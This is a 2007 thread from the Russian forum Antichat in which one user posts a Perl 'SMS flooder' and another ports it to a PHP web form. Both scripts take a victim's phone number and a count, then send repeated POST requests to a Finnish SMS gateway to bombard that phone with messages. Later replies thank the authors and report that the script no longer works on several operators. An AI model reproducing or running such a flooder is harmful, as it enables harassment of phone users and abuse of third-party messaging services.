Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Sms flooder by me (https://forum.antichat.xyz/showthread.php?t=34547)

degeneration x 02.03.2007 20:42

Sms flooder by me
 
Простенький смс флудер, написан на перле, работать должен на всех операторах.

Код:

#!/usr/bin/perl
###############################################
#SMS Flooder writen by DeGeneration X        #
###############################################
#                                            #
#phone number format:                        #
#[country_code][operator_cod][phone_number]  #
#e.g. 76061234567                            #
#                                            #
###############################################

use IO::Socket;

print "Phone number:";
$phonenumber = <STDIN>;
chomp($phonenumber);
print "How much sms:";
$muchsms = <STDIN>;
chomp($muchsms);

$server = "mobile.textstream.fi";
$path = "http://mobile.textstream.fi/msearch/smsreceive.php";
$data = "numberfrom=%2B"."$phonenumber";
$len = length $data;

for($i=0;$i<$muchsms;$i++)
{
 $get = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "Cannot Connect Host";
 print $get "POST $path HTTP/1.0\n";
 print $get "Host: ".$serv."\n";
 print $get "Content-Type: application/x-www-form-urlencoded\n";
 print $get "Content-Length: ".$len."\n\n";
 print $get "$data\n";
}
 print "Done!";


InferNo23 03.03.2007 11:23

кому перл ненравиться, переписал на php..

PHP код:

<html><b><form method="post">
Номер: <br><input type="text" name="phonenumber"></br>
Кол-во смс: <br><input type="text" name="numberofsms"></br>
<input type="submit" value="Start">
</form></b></html>
<?php
error_reporting
(0);
$phonenumber $_POST["phonenumber"];
$numberofsms $_POST["numberofsms"];
$server "mobile.textstream.fi";
$path "/msearch/smsreceive.php";
$data "numberfrom=%2B"."$phonenumber";
$len strlen($data);
for(
$i=0;$i<$numberofsms;$i++){
$headers .= "POST $path HTTP/1.0\n";
$headers .= "Host: ".$server."\n"
$headers .= "Content-Type: application/x-www-form-urlencoded\n";
$headers .= "Content-Length: ".$len."\n\n";
$headers .= "$data\n";
$conn fsockopen($server"80");
fwrite($conn$headers);
fclose($conn);
}
?>


genom-- 03.03.2007 19:09

на мтс by не отсылает

gizmo 03.03.2007 19:17

Цитата:

Сообщение от genom--
на мтс by не отсылает

услуга получения смс с нета включена?

ssk.ex0.uf0 03.03.2007 20:59

degeneration x, + в репу)

InferNo23, за пхп пасибо) тоже + в репу получай! =) :D

Barney 03.03.2007 21:16

Perl устраивает, но и за php спасиб.
Ловите плюсики+)

mad_xakep 17.04.2007 12:49

он ни на че неотправляет, как номер там писать я и +7 и 7 и через 8 и 9 писал неотправляет!

Isis 17.04.2007 13:16

You don't have permission to access /msearch/smsreceive.php on this server.

Можете успокоиться, не пашет =)

genom-- 17.04.2007 13:28

все включено --- на беллорусский mts невидел еще ниодного флудера как и сайта с которого можнобыло бы отправить смс без ввода кода с картинки =) mts нас защыщает

DRON-ANARCHY 17.04.2007 13:59

на билайн не шлет


Время: 02:03